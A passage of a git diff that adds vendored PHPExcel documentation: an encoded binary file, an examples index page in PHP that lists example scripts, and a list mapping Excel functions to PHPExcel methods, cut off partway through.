z^8fz+`?7Z*>9{V4l6DcydNYDuK^%=V7*8RyHQ5zfH2p4-^iML=jP(oUC)EOI=GTId z`dY2hk=phIoO#BP+rWA3rjZpW7i1@@>W!4c8k6Xz5Bekf3+b2hme>4#L?3>qNnnmR ziH4>OYE^kO>@pEw`m3(xZ!PY4SC#v!a?=tBt_ePQrqA3#L&NagjjpN;dLOmthjHav zDFt_GdAj;!q}83O!?1og*M6liGBZfNFzFfKSh>9Z0pE-UQE5%2HEr;GTM^NBtZk>% zCFRogz7?T|4+zdQkLw**-wV|CxhrW5y>`AEd?M)d%+h{{;9@=Tkg)GTPh6>yC_`1f zdq>#J2Q^LJ%cJx2F}{Ddc@fS!RIV; zbXV=hs(FlP=DV>!|L~85TZ_? z=pCogZ}M9@5pqwdiv>!x^aUNaOb+fwfDyI}EbMx){hbqX1t@-t7p6un`41Ww- zu+)gmv+v*QRhHTR7Zm+Z^ z!?llt3du{up~qX@CaOnj3&J7onlaW922!)TpHz59A%#oKmzAufsCH_A zDoWg!;?}<1u8+ycCFZiR<@je3v4!XeVS4te#doqijpW-~ikExGRdGIa_LU~`aFNnc zY_-QpjA^*Q-KF{u@QX8 z%-Ow>OpnQ5^tYkDv38GX-5pP-oA=w7I<9>rd)X=NIxt=$!c=3nAh7Si1*g}8J#&0F z1bWik6o%(88?GQTMk|&yM`T9aYXp32*`0`kD(VSc*(Q0@YaT_ivPY)FgJttZ63Y3R zSQ~r9t-yts;FHCiCoJo^M_sO>bwgjImyaPqw)GzR#%H{S z*pkaIVKEPuEQ)b$BYJ7%$>DXH ziMViRvBac1|Cd+RNhuYnfo~I^zmh?3$Z3dpc!@u)omAZ3vQ6x1a? zSB3m*O!B~H{+5U%j|joJ_>*TWJ_Zq0ddMc}S(?`5-P!0CSZ%urymtB}K=Z5Q352Kk2Dewu#gS7hTBaU}Uu;I9`!$=4|5FMknXG}O`o4R;v$M6L< zyROR*`pQ^N3RtFvi7#S+_lF+E#`QTP-*tO$h%W}{AT$WQ*b)@&*bEpHw>V3u%o{1| zE!sJ&r*xV|d8t;WSTPi7)Q-%uc$`H~!M$Exz{>Q!4Ou*Y4n67i}uP|`q4n^27l!H}#~Ku7LJ z5v?O#OyICH?h_R;4;7y24(;sEjN|?y%aXZTPhfKanp@N2=Z+ zaVv(8?N*Tsi)|mt%(4^xz*OJ~wM8krfNVfj_n&&X0cdCO=Ld=nO&s*e%k_qRW~k)q z-|x~RnfiGp`R5VuQjK|yNHqAQS-!-SGG3@D(N(ldNaMtftF?cSOnKy){)7L)*$NZu zGn^%WRz{MYV9&l5Y6M5ei`OWe&z&YT7tb*ME?BzJN>H02a!x5k{g3xYu=E7`I@|u9 z{uCQ%#VjDQPKpbLuy64>!gK6BC-;)@?l=$Md$4I(W2;gw8_VjNn|6H~Z^Hpk>LWj~ z9*Y&;ACVptZ*eV=uX=A>X$ToCqGT!c0J<5LoDDvw84;|Fe-naTVGPlEzk0cQ^s>J- z*|Lr0F+NgQEtjmM5kFSVd7_%5N~;~VwmOLQ=}H!4c3$9-aULsLWb&rnzu~(Iqh%nE#;)tJI@*0$hK*WfxM);aNJF_Q z{L>(5YI$2-X$S-Esluv+WGN4EA^8QY=O5D zMPm86IaoDEo+owwp^Is%A|5=8EDl&CJ0eoq>Mqi#9|y%}Z5Dh;p+4*q!e-)?lIr~1Y$yUT zC)|%6X3v$dkS&bmM?zBTiCh9DG~pkwVc1JU0~^zK13&V~7oR!Goma_p9u?M3%a~+1 z_!PkoNN;?N1Axx-jmZx5RbM8Kak7x_2oQy|`gQaZB(0ScsHVHBddaL+~$no)dysppkM#)E#$uD-tJ zmtf#~BxGC@N{H90K3bPax*{wJdz$*=yuI~|TZwgp+IB*Ljeu}N>k6*eGFTlg1He*t zt4Wec274$)o zqofnC)}ZR!Aem^&syf=qN!+d#EN7hKL#|J4&!t%YB2+azk!OK^0{>_NeIyr*rZs+$ zQLK7WMI^=r53aI%EgY!dM!gq^TNwNh#Cz3!C6iIff!<;xp=LNi`;F1DG1;niU?a0X zm)S5K=`=*8Po~J|$@q~qyz5=-6xV55GS!{hcR(4QBRc&LgJR_8r=aK0hg(L}x~IIS z4k@9=h*D_2n9X>Y)<-KraDESJoa<`5N=i+^G=6B<3qI26z3Ne{hJi}oL;%@+fFg@I zWy}#aDWr}X%|dBGWS*NN_*)X7Va)!u1DQZ7p{zaE2|a3k;;}34Ew|`zXZuN?&7U3s z!{fQIarVR^JY2oPWhOBDdt-66JTDfgqus=nWNzLh-ap}*>y2kqrloby3u-jC6p&tp z7a2^}MdjnVNA?O-9gN2giz!qn;}(=}eR5U2N;FQ&Y~20vedq7Fma5Rv*o&x+B2WMT zLPUGU#`UqThpU?>zm=QYzs3;%G-VJP%=txYonjuX)|AL516eLZRz0|^d!sp;gZFIJ zpec9eW)d2A`nSC1<5vBi`7?952Rh?PSw_vzF=vk*#ugY>PI?*H=qyx;af@kAV*-Bv<$)$&Z18QDK z$S08QUZ^%lCXTEOBn~-LgE&njBPzs#*gAY%qym+$kTkMhJYSu!`c`mWG}XlJM%RbWg+o(DW1&Yf!)!+5R2s;UBLZhbL4WevaV3SHi+zS0$GVrSSlv%+TuG?#^Aty zY3!o=AiVM-eE(zJ_Q3RE(d6l#m^xnZsTHck*fE>7c&{iBtR-E_Api5u}EyYY&~QYy)(Y6!GvVkEMadKMIxH;%;_=p_yDX zaX<|bJg=|LY-4ZL0uG-M(?q_X)ttfOSBuP_>yp@*&*?pX_X4$V;^BUTsCE5}PMb%gRqy+u)Jmqa%)Vzj z4F}Bysc(c|4e~XQo#(;zE>`OmbO(gglEqtM(#t$DZQg>sIxa+WX_RbaW50i*(Tzn< z%^j4q>ogDW;m#|<*)P@nR(H&?(TVRSd-x&Q1L>M;NT(IDeObMD$=rVj;w_i4X?|f(MBH zs~e&X2)6amw*`ZL>j&OG7v!^k;}2B@8>G4>EKYZJbS3Q(%WRL_DoKWGZ4 zeEWb*MccB6%h(g0wK7OtfuI|>>1o(1KN7(kD{=&L-Ax3Y8$um)`yzwv-b*BB2<%78 zDr34SFbLTbVC0Fz+r_#+`$*s?IIeQpRchq4(63Q`)(y2d7`01KN_ThhW$T7?Bl1Nh<@8Yo6Wzs z8UUa?S;sY$kuq{$ea}bJ>SU6$i;GN4Q5L~Tc+)Dz?9tLs3{44yYKRk z7b?L%S3NXt1?qRXh@&Vlk-61P1l`qFcAkGlC3Mh_dgD->kG1pinbANaQ(pV~8f*`LXYw41Q-i>2Lm*qO0*|fIm;ge+6hj@cow=`EA2L4+eiV+(GoK|MxNBZJgV~qMt|% zh>rNJ(a~+=+jEbf#);U!8~$Pf0UdFF2fW?C zzYTD^i}4d69Wenw+|kdT#%08fFR1*+ZD!b>py2^ zzgmaT{9^s@Jngpm?b!7bAdmj{CH#LP*=^82Z{a^70f0S*U+?KZ8@jFr8iK^Xb&>D@ M_6QwBG5>b~kyhO^f#EePVk|qCM_JpNf9VXi=sf#xEIhEvDx46 zdo#1k;nEhHI6#tli}&7q$NS#*zIT5!M=TGU|<1MeoQRxIFZIl(DWv0l}pkmkDR*n z_Fa%5D0@1QQNBObv|H0vNG-quE+deQ$f4y zxRblPlA%lL&=q0fZT*$y0d*yNq+Yrfazvyk+x1vk`bEyM@?KjtIoD@&DT6+>yRRFx zbA6d}eO<||vRO8=V43Y~#WV2>_-~S}f+0~^5fq5jWiaLHhK9-&?vyR^)`|*)(tiCx zQLVPJT(f*m8W$L%E4fx4m(?P7ZRp$8KX`X8ch;UjIBU-!bS2lx=cRKA>W!JM$W&dSq$G{NzpLttzlg!z~b091JzXQ_i<2l5t@h^p^)N1^H$aqU^HqQ@%J+~M; z{BIP$c?ta1CGfpV;2Wyq1>;KfNiM8cwC`<^2%dYo^4CZCttI4em0T=GFrusDKVKDJ z7t}kJ=w2Z!Qj%P&F^Y`dp@DOI@OPH)8O|mCj%GxK!9H(UW43O|$EO=4Eb`t8a&P543 z9)a~OtU1qG^@y1N&sg$nd7u-PMSzF4x4PEVY7yeaVPcHM%LEwVUNb(o*bPdFs)bG?b_Le_y{_IjS{ zO{GN+6id!UY~j8Da1R$I$Fj(Gd)a$ksB_C$)+^*4%5w^(EC$cs(J>PCxtB_wTLR)% zw{QXU{cg!AAU{yd<+G^d;55pSekfmXksZ!Yu=tVuxC3pDy7xL%8U>C`jb=SiMzWJE zciXgc-Wdh{xI5vvK%B@so=2TdW{VeD^{Hb10vZF-?fKD?>j8DgSbl2UnE})3zT?>$ zkj`X_bTxT2jG79KF|)7oCyF2 z^JF{(V(xJFI)h;H+Nsw%i&?4=j3v1AbI%YF?(dpEjp$AsI9~1JZ8nFBW}*|ikoe; z_(V1Oz~Ih-zJbB(Z`izvwwlQn?4#LxXR5Of>;&t;uFYuc@aQ<&v)gez0DIgb^i+G~ z*&(-TPw$(S!{y6e}Y_|V~yoCG^4&OgS{v7h7XiqOzroTcyTE7|*0{wuKgoXt8 z#2oCK7aZ&x6XuXWE|$9wC2qrF*`&wdl}K}v*5?+aBF*6X^_TwRAC8m?guqJB0oXJXYm`85`L5NCpb*K6$k4<*)H3V z-+9BEP;CUDrsfbUauMav9aEnO}@Wza^x zon~_w35$cV64St5CQqnNmH5SF7h>!M;Or1Vi#HquPI?i8<5M8_G&+)zfxZC}NGtcW zl9rXw;Ij~L5Q4TMQvP26_jW`a7c{Uxej$HjRYsrmdy~;l%L}Fi=i$h6W*+uOgz%Uf zhq47|4ce=Dqp??be)jS9QG@^6auK-&D{@gTz%i1;x?IFsZd@cb*6ujO7WiYez^A1f zJ3db%{3Wn12P^+&-77>c4_R^wlzMrWzhgYzk%pr!p)gB5-CTybL;ZMF8BSuS`*DMT zC9z7)Y|en(>FX14=OWbN6sEySD~>a~R#us1&q~|moC! zXEJaJ!wMG8WUJ+s!ax4m4_^N6%?6VMU-Rj~r=I`ezPWefOl;wNvR15ZPiH8Vt%q|B z!9bR*14jTQWW912S`vEFGK83S>PaV+s0U=>#0<&$oWQf;qPCrAxzU*(fU70**DqwQ zmdBp`IdrBZ+OU)Ne{DeuJRNdM!%IVKK?)jl$m7Re`P{KremTSvl-H@}?ON#pq?Q9t zGVjWWJm0qa)h4-?ur-&Qy9y)0uqEUza`Nw<{M!BVJLibA=E0`p(`Tb>>d~oZ)mqrC z4zhU@=mnN9c`!QXYh;)ztOt<|O=uAk!TegCbgg7>*1ia*(*rQ>BXH;5ju!F!4+L2^iW12ei-!gk0Cd;mUEK8{~kT`sUm!5@+K)_W{b!hDsm-PJ`T=@*NS|3 z{qOS1#|07Q(Vnx=x8+b?5NnfWK@1i&YAQOJf(0#IWkHMLI98%Kc1;w=$r;6QGDdOK zHHzajiQ>5YMsd89Mse(;D2`6XD2~^ND6Xjrj*EXK9~U_WTJPndV6iliS~Qc;C6rfW z!u1)Z&5B)vX;|ZzG`xl*g%WG9_!?TXmT1>>O~%ktK5d<1ZB4tC)`i}#70P*es8S}M zn==iN%-2VTBalg2Ajxpl`yAaWd4s0cX}Zam!MD^b*Q?mAnr_pyUpY2ld0U|z)%0M= z_RK11vjKi|!?#9D2YQersNL|b^!Wlk7T0e0ntZ-~l{cX2c1?F^y3?_{3<1pN<$8aX%g;Kv{4*lN-Xa(w_7)lM zN9--qIq`-G*R<3%Wn<3%Wn<3%WnYsRG@ifgHYYpsH7tAcB< zf?Hh$*AcL)T8$+lL5Z@LVT0Nk$lmTk+&piT;0V6`m`YV%DY z#C9GJA-3~G2vOg%6t?qZNMk#LdBItp#0&0a@waEXV&%*qAoi^h<4c-LbOXTqE~7k-4N2K%b5_OE@dgS zOE521!iSxfJ3~&|@v=vyM0c6dS0Fh9Q|d8dzUTufRpp088z7c&+G@>$I^1nm(-#f1S7UZB?Tk4 zMXeEx*cNDC9=R7$XVa(6BFZ@Wqf`nO%B1pV8tQi4&^u2O>j<$hf5Uwn`WDCn8hDkbQd)hZ?E znbj&K=$Q`Xt&@e2jXfavy^i}0@(?VOCI1E6T?$>xuIAFg zkVM5?61kP|NU%a-<_n#5O8zY+ui^bo%1SJfMm;Y-^r`>+)v>YWzx-gmY}xp=m$*!P z5s^M{(ldzEbw48Yrm4C4Pa<;KKa9wM_~(dih>sz%rhi5uZg}J=|53@(xMuR@M?H7S zy->3CgIKM5_5-E6+u!*ebPmG5cJ^$;a}A&45L+O&Kx~270hub$xj|7ApYMD+eYf}AfG=<1_GF^5Rk zV*!zO_7WoR{r4l%E&m`Q{Q-|4^6vj_#7chveF+S_!>2bksw~2k$q>!EPzibYx?{m# z=`O--Uxe8qD^Z%Y(-T3-_?z4DDgK%7lnRX<39v~VVhh9;h%FFXAhtkkf!G4E1!4=t z7KkknTi_4H0(_6pTQIM?ynm+<`DrKL@$;QN@A~{cfj4B{*?E8GeVg}w-tqbAAK&@& zp5KnR8j*K>`UBP=@_&Q!qd0yFw+@k?z46A)kJD^K(z}uOAZ|ds7LlKD@l&l$h@`)Y z$UF|eeG44Nzj1Kksj>0-7XOKZhkv!RoX~-_@bkgR z?^x{10C@*$_hekos~+P4`igV>2hgy7>T#t7pW;_;2q}E(H!TzRWwq@G^q*Q#Ct~R|qj#`5&p_5W!9H5K*$AG^nB>Hq)$ literal 0 HcmV?d00001 diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/index.php b/vendor/phpoffice/phpexcel/Documentation/Examples/index.php new file mode 100644 index 00000000..f657a7ac --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/index.php @@ -0,0 +1,50 @@ + + + + + +PHPExcel Examples + + + + +PHPExcel ' . pathinfo($exampleType,PATHINFO_BASENAME) . ' Examples
        '; + + $exampleList = glob('./'.$exampleType.'/*.php'); + + foreach($exampleList as $exampleFile) { + $fileData = file_get_contents($exampleFile); + + $h1Pattern = '#

        (.*?)

        #'; + $h2Pattern = '#

        (.*?)

        #'; + + if (preg_match($h1Pattern, $fileData, $out)) { + $h1Text = $out[1]; + $h2Text = (preg_match($h2Pattern, $fileData, $out)) ? $out[1] : ''; + + echo '',$h1Text,'
        '; + if (($h2Text > '') && + (pathinfo($exampleType,PATHINFO_BASENAME) != 'Calculations')) { + echo $h2Text,'
        '; + } + } + + } +} + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/FunctionListByCategory.txt b/vendor/phpoffice/phpexcel/Documentation/FunctionListByCategory.txt new file mode 100644 index 00000000..b23d9a11 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/FunctionListByCategory.txt @@ -0,0 +1,377 @@ +CATEGORY_CUBE + CUBEKPIMEMBER *** Not yet Implemented + CUBEMEMBER *** Not yet Implemented + CUBEMEMBERPROPERTY *** Not yet Implemented + CUBERANKEDMEMBER *** Not yet Implemented + CUBESET *** Not yet Implemented + CUBESETCOUNT *** Not yet Implemented + CUBEVALUE *** Not yet Implemented + +CATEGORY_DATABASE + DAVERAGE PHPExcel_Calculation_Database::DAVERAGE + DCOUNT PHPExcel_Calculation_Database::DCOUNT + DCOUNTA PHPExcel_Calculation_Database::DCOUNTA + DGET PHPExcel_Calculation_Database::DGET + DMAX PHPExcel_Calculation_Database::DMAX + DMIN PHPExcel_Calculation_Database::DMIN + DPRODUCT PHPExcel_Calculation_Database::DPRODUCT + DSTDEV PHPExcel_Calculation_Database::DSTDEV + DSTDEVP PHPExcel_Calculation_Database::DSTDEVP + DSUM PHPExcel_Calculation_Database::DSUM + DVAR PHPExcel_Calculation_Database::DVAR + DVARP PHPExcel_Calculation_Database::DVARP + +CATEGORY_DATE_AND_TIME + DATE PHPExcel_Calculation_DateTime::DATE + DATEDIF PHPExcel_Calculation_DateTime::DATEDIF + DATEVALUE PHPExcel_Calculation_DateTime::DATEVALUE + DAY PHPExcel_Calculation_DateTime::DAYOFMONTH + DAYS360 PHPExcel_Calculation_DateTime::DAYS360 + EDATE PHPExcel_Calculation_DateTime::EDATE + EOMONTH PHPExcel_Calculation_DateTime::EOMONTH + HOUR PHPExcel_Calculation_DateTime::HOUROFDAY + MINUTE PHPExcel_Calculation_DateTime::MINUTEOFHOUR + MONTH PHPExcel_Calculation_DateTime::MONTHOFYEAR + NETWORKDAYS PHPExcel_Calculation_DateTime::NETWORKDAYS + NOW PHPExcel_Calculation_DateTime::DATETIMENOW + SECOND PHPExcel_Calculation_DateTime::SECONDOFMINUTE + TIME PHPExcel_Calculation_DateTime::TIME + TIMEVALUE PHPExcel_Calculation_DateTime::TIMEVALUE + TODAY PHPExcel_Calculation_DateTime::DATENOW + WEEKDAY PHPExcel_Calculation_DateTime::DAYOFWEEK + WEEKNUM PHPExcel_Calculation_DateTime::WEEKOFYEAR + WORKDAY PHPExcel_Calculation_DateTime::WORKDAY + YEAR PHPExcel_Calculation_DateTime::YEAR + YEARFRAC PHPExcel_Calculation_DateTime::YEARFRAC + +CATEGORY_ENGINEERING + BESSELI PHPExcel_Calculation_Engineering::BESSELI + BESSELJ PHPExcel_Calculation_Engineering::BESSELJ + BESSELK PHPExcel_Calculation_Engineering::BESSELK + BESSELY PHPExcel_Calculation_Engineering::BESSELY + BIN2DEC PHPExcel_Calculation_Engineering::BINTODEC + BIN2HEX PHPExcel_Calculation_Engineering::BINTOHEX + BIN2OCT PHPExcel_Calculation_Engineering::BINTOOCT + COMPLEX PHPExcel_Calculation_Engineering::COMPLEX + CONVERT PHPExcel_Calculation_Engineering::CONVERTUOM + DEC2BIN PHPExcel_Calculation_Engineering::DECTOBIN + DEC2HEX PHPExcel_Calculation_Engineering::DECTOHEX + DEC2OCT PHPExcel_Calculation_Engineering::DECTOOCT + DELTA PHPExcel_Calculation_Engineering::DELTA + ERF PHPExcel_Calculation_Engineering::ERF + ERFC PHPExcel_Calculation_Engineering::ERFC + GESTEP PHPExcel_Calculation_Engineering::GESTEP + HEX2BIN PHPExcel_Calculation_Engineering::HEXTOBIN + HEX2DEC PHPExcel_Calculation_Engineering::HEXTODEC + HEX2OCT PHPExcel_Calculation_Engineering::HEXTOOCT + IMABS PHPExcel_Calculation_Engineering::IMABS + IMAGINARY PHPExcel_Calculation_Engineering::IMAGINARY + IMARGUMENT PHPExcel_Calculation_Engineering::IMARGUMENT + IMCONJUGATE PHPExcel_Calculation_Engineering::IMCONJUGATE + IMCOS PHPExcel_Calculation_Engineering::IMCOS + IMDIV PHPExcel_Calculation_Engineering::IMDIV + IMEXP PHPExcel_Calculation_Engineering::IMEXP + IMLN PHPExcel_Calculation_Engineering::IMLN + IMLOG10 PHPExcel_Calculation_Engineering::IMLOG10 + IMLOG2 PHPExcel_Calculation_Engineering::IMLOG2 + IMPOWER PHPExcel_Calculation_Engineering::IMPOWER + IMPRODUCT PHPExcel_Calculation_Engineering::IMPRODUCT + IMREAL PHPExcel_Calculation_Engineering::IMREAL + IMSIN PHPExcel_Calculation_Engineering::IMSIN + IMSQRT PHPExcel_Calculation_Engineering::IMSQRT + IMSUB PHPExcel_Calculation_Engineering::IMSUB + IMSUM PHPExcel_Calculation_Engineering::IMSUM + OCT2BIN PHPExcel_Calculation_Engineering::OCTTOBIN + OCT2DEC PHPExcel_Calculation_Engineering::OCTTODEC + OCT2HEX PHPExcel_Calculation_Engineering::OCTTOHEX + +CATEGORY_FINANCIAL + ACCRINT PHPExcel_Calculation_Financial::ACCRINT + ACCRINTM PHPExcel_Calculation_Financial::ACCRINTM + AMORDEGRC PHPExcel_Calculation_Financial::AMORDEGRC + AMORLINC PHPExcel_Calculation_Financial::AMORLINC + COUPDAYBS PHPExcel_Calculation_Financial::COUPDAYBS + COUPDAYS PHPExcel_Calculation_Financial::COUPDAYS + COUPDAYSNC PHPExcel_Calculation_Financial::COUPDAYSNC + COUPNCD PHPExcel_Calculation_Financial::COUPNCD + COUPNUM PHPExcel_Calculation_Financial::COUPNUM + COUPPCD PHPExcel_Calculation_Financial::COUPPCD + CUMIPMT PHPExcel_Calculation_Financial::CUMIPMT + CUMPRINC PHPExcel_Calculation_Financial::CUMPRINC + DB PHPExcel_Calculation_Financial::DB + DDB PHPExcel_Calculation_Financial::DDB + DISC PHPExcel_Calculation_Financial::DISC + DOLLARDE PHPExcel_Calculation_Financial::DOLLARDE + DOLLARFR PHPExcel_Calculation_Financial::DOLLARFR + DURATION *** Not yet Implemented + EFFECT PHPExcel_Calculation_Financial::EFFECT + FV PHPExcel_Calculation_Financial::FV + FVSCHEDULE PHPExcel_Calculation_Financial::FVSCHEDULE + INTRATE PHPExcel_Calculation_Financial::INTRATE + IPMT PHPExcel_Calculation_Financial::IPMT + IRR PHPExcel_Calculation_Financial::IRR + ISPMT PHPExcel_Calculation_Financial::ISPMT + MDURATION *** Not yet Implemented + MIRR PHPExcel_Calculation_Financial::MIRR + NOMINAL PHPExcel_Calculation_Financial::NOMINAL + NPER PHPExcel_Calculation_Financial::NPER + NPV PHPExcel_Calculation_Financial::NPV + ODDFPRICE *** Not yet Implemented + ODDFYIELD *** Not yet Implemented + ODDLPRICE *** Not yet Implemented + ODDLYIELD *** Not yet Implemented + PMT PHPExcel_Calculation_Financial::PMT + PPMT PHPExcel_Calculation_Financial::PPMT + PRICE PHPExcel_Calculation_Financial::PRICE + PRICEDISC PHPExcel_Calculation_Financial::PRICEDISC + PRICEMAT PHPExcel_Calculation_Financial::PRICEMAT + PV PHPExcel_Calculation_Financial::PV + RATE PHPExcel_Calculation_Financial::RATE + RECEIVED PHPExcel_Calculation_Financial::RECEIVED + SLN PHPExcel_Calculation_Financial::SLN + SYD PHPExcel_Calculation_Financial::SYD + TBILLEQ PHPExcel_Calculation_Financial::TBILLEQ + TBILLPRICE PHPExcel_Calculation_Financial::TBILLPRICE + TBILLYIELD PHPExcel_Calculation_Financial::TBILLYIELD + USDOLLAR *** Not yet Implemented + VDB *** Not yet Implemented + XIRR PHPExcel_Calculation_Financial::XIRR + XNPV PHPExcel_Calculation_Financial::XNPV + YIELD *** Not yet Implemented + YIELDDISC PHPExcel_Calculation_Financial::YIELDDISC + YIELDMAT PHPExcel_Calculation_Financial::YIELDMAT + +CATEGORY_INFORMATION + CELL *** Not yet Implemented + ERROR.TYPE PHPExcel_Calculation_Functions::ERROR_TYPE + INFO *** Not yet Implemented + ISBLANK PHPExcel_Calculation_Functions::IS_BLANK + ISERR PHPExcel_Calculation_Functions::IS_ERR + ISERROR PHPExcel_Calculation_Functions::IS_ERROR + ISEVEN PHPExcel_Calculation_Functions::IS_EVEN + ISLOGICAL PHPExcel_Calculation_Functions::IS_LOGICAL + ISNA PHPExcel_Calculation_Functions::IS_NA + ISNONTEXT PHPExcel_Calculation_Functions::IS_NONTEXT + ISNUMBER PHPExcel_Calculation_Functions::IS_NUMBER + ISODD PHPExcel_Calculation_Functions::IS_ODD + ISREF *** Not yet Implemented + ISTEXT PHPExcel_Calculation_Functions::IS_TEXT + N PHPExcel_Calculation_Functions::N + NA PHPExcel_Calculation_Functions::NA + TYPE PHPExcel_Calculation_Functions::TYPE + VERSION PHPExcel_Calculation_Functions::VERSION + +CATEGORY_LOGICAL + AND PHPExcel_Calculation_Logical::LOGICAL_AND + FALSE PHPExcel_Calculation_Logical::FALSE + IF PHPExcel_Calculation_Logical::STATEMENT_IF + IFERROR PHPExcel_Calculation_Logical::IFERROR + NOT PHPExcel_Calculation_Logical::NOT + OR PHPExcel_Calculation_Logical::LOGICAL_OR + TRUE PHPExcel_Calculation_Logical::TRUE + +CATEGORY_LOOKUP_AND_REFERENCE + ADDRESS PHPExcel_Calculation_LookupRef::CELL_ADDRESS + AREAS *** Not yet Implemented + CHOOSE PHPExcel_Calculation_LookupRef::CHOOSE + COLUMN PHPExcel_Calculation_LookupRef::COLUMN + COLUMNS PHPExcel_Calculation_LookupRef::COLUMNS + GETPIVOTDATA *** Not yet Implemented + HLOOKUP PHPExcel_Calculation_LookupRef::HLOOKUP + HYPERLINK PHPExcel_Calculation_LookupRef::HYPERLINK + INDEX PHPExcel_Calculation_LookupRef::INDEX + INDIRECT PHPExcel_Calculation_LookupRef::INDIRECT + LOOKUP PHPExcel_Calculation_LookupRef::LOOKUP + MATCH PHPExcel_Calculation_LookupRef::MATCH + OFFSET PHPExcel_Calculation_LookupRef::OFFSET + ROW PHPExcel_Calculation_LookupRef::ROW + ROWS PHPExcel_Calculation_LookupRef::ROWS + RTD *** Not yet Implemented + TRANSPOSE PHPExcel_Calculation_LookupRef::TRANSPOSE + VLOOKUP PHPExcel_Calculation_LookupRef::VLOOKUP + +CATEGORY_MATH_AND_TRIG + ABS abs + ACOS acos + ACOSH acosh + ASIN asin + ASINH asinh + ATAN atan + ATAN2 PHPExcel_Calculation_MathTrig::REVERSE_ATAN2 + ATANH atanh + CEILING PHPExcel_Calculation_MathTrig::CEILING + COMBIN PHPExcel_Calculation_MathTrig::COMBIN + COS cos + COSH cosh + DEGREES rad2deg + EVEN PHPExcel_Calculation_MathTrig::EVEN + EXP exp + FACT PHPExcel_Calculation_MathTrig::FACT + FACTDOUBLE PHPExcel_Calculation_MathTrig::FACTDOUBLE + FLOOR PHPExcel_Calculation_MathTrig::FLOOR + GCD PHPExcel_Calculation_MathTrig::GCD + INT PHPExcel_Calculation_MathTrig::INT + LCM PHPExcel_Calculation_MathTrig::LCM + LN log + LOG PHPExcel_Calculation_MathTrig::LOG_BASE + LOG10 log10 + MDETERM PHPExcel_Calculation_MathTrig::MDETERM + MINVERSE PHPExcel_Calculation_MathTrig::MINVERSE + MMULT PHPExcel_Calculation_MathTrig::MMULT + MOD PHPExcel_Calculation_MathTrig::MOD + MROUND PHPExcel_Calculation_MathTrig::MROUND + MULTINOMIAL PHPExcel_Calculation_MathTrig::MULTINOMIAL + ODD PHPExcel_Calculation_MathTrig::ODD + PI pi + POWER PHPExcel_Calculation_MathTrig::POWER + PRODUCT PHPExcel_Calculation_MathTrig::PRODUCT + QUOTIENT PHPExcel_Calculation_MathTrig::QUOTIENT + RADIANS deg2rad + RAND PHPExcel_Calculation_MathTrig::RAND + RANDBETWEEN PHPExcel_Calculation_MathTrig::RAND + ROMAN PHPExcel_Calculation_MathTrig::ROMAN + ROUND round + ROUNDDOWN PHPExcel_Calculation_MathTrig::ROUNDDOWN + ROUNDUP PHPExcel_Calculation_MathTrig::ROUNDUP + SERIESSUM PHPExcel_Calculation_MathTrig::SERIESSUM + SIGN PHPExcel_Calculation_MathTrig::SIGN + SIN sin + SINH sinh + SQRT sqrt + SQRTPI PHPExcel_Calculation_MathTrig::SQRTPI + SUBTOTAL PHPExcel_Calculation_MathTrig::SUBTOTAL + SUM PHPExcel_Calculation_MathTrig::SUM + SUMIF PHPExcel_Calculation_MathTrig::SUMIF + SUMIFS *** Not yet Implemented + SUMPRODUCT PHPExcel_Calculation_MathTrig::SUMPRODUCT + SUMSQ PHPExcel_Calculation_MathTrig::SUMSQ + SUMX2MY2 PHPExcel_Calculation_MathTrig::SUMX2MY2 + SUMX2PY2 PHPExcel_Calculation_MathTrig::SUMX2PY2 + SUMXMY2 PHPExcel_Calculation_MathTrig::SUMXMY2 + TAN tan + TANH tanh + TRUNC PHPExcel_Calculation_MathTrig::TRUNC + +CATEGORY_STATISTICAL + AVEDEV PHPExcel_Calculation_Statistical::AVEDEV + AVERAGE PHPExcel_Calculation_Statistical::AVERAGE + AVERAGEA PHPExcel_Calculation_Statistical::AVERAGEA + AVERAGEIF PHPExcel_Calculation_Statistical::AVERAGEIF + AVERAGEIFS *** Not yet Implemented + BETADIST PHPExcel_Calculation_Statistical::BETADIST + BETAINV PHPExcel_Calculation_Statistical::BETAINV + BINOMDIST PHPExcel_Calculation_Statistical::BINOMDIST + CHIDIST PHPExcel_Calculation_Statistical::CHIDIST + CHIINV PHPExcel_Calculation_Statistical::CHIINV + CHITEST *** Not yet Implemented + CONFIDENCE PHPExcel_Calculation_Statistical::CONFIDENCE + CORREL PHPExcel_Calculation_Statistical::CORREL + COUNT PHPExcel_Calculation_Statistical::COUNT + COUNTA PHPExcel_Calculation_Statistical::COUNTA + COUNTBLANK PHPExcel_Calculation_Statistical::COUNTBLANK + COUNTIF PHPExcel_Calculation_Statistical::COUNTIF + COUNTIFS *** Not yet Implemented + COVAR PHPExcel_Calculation_Statistical::COVAR + CRITBINOM PHPExcel_Calculation_Statistical::CRITBINOM + DEVSQ PHPExcel_Calculation_Statistical::DEVSQ + EXPONDIST PHPExcel_Calculation_Statistical::EXPONDIST + FDIST *** Not yet Implemented + FINV *** Not yet Implemented + FISHER PHPExcel_Calculation_Statistical::FISHER + FISHERINV PHPExcel_Calculation_Statistical::FISHERINV + FORECAST PHPExcel_Calculation_Statistical::FORECAST + FREQUENCY *** Not yet Implemented + FTEST *** Not yet Implemented + GAMMADIST PHPExcel_Calculation_Statistical::GAMMADIST + GAMMAINV PHPExcel_Calculation_Statistical::GAMMAINV + GAMMALN PHPExcel_Calculation_Statistical::GAMMALN + GEOMEAN PHPExcel_Calculation_Statistical::GEOMEAN + GROWTH PHPExcel_Calculation_Statistical::GROWTH + HARMEAN PHPExcel_Calculation_Statistical::HARMEAN + HYPGEOMDIST PHPExcel_Calculation_Statistical::HYPGEOMDIST + INTERCEPT PHPExcel_Calculation_Statistical::INTERCEPT + KURT PHPExcel_Calculation_Statistical::KURT + LARGE PHPExcel_Calculation_Statistical::LARGE + LINEST PHPExcel_Calculation_Statistical::LINEST + LOGEST PHPExcel_Calculation_Statistical::LOGEST + LOGINV PHPExcel_Calculation_Statistical::LOGINV + LOGNORMDIST PHPExcel_Calculation_Statistical::LOGNORMDIST + MAX PHPExcel_Calculation_Statistical::MAX + MAXA PHPExcel_Calculation_Statistical::MAXA + MAXIF PHPExcel_Calculation_Statistical::MAXIF + MEDIAN PHPExcel_Calculation_Statistical::MEDIAN + MEDIANIF *** Not yet Implemented + MIN PHPExcel_Calculation_Statistical::MIN + MINA PHPExcel_Calculation_Statistical::MINA + MINIF 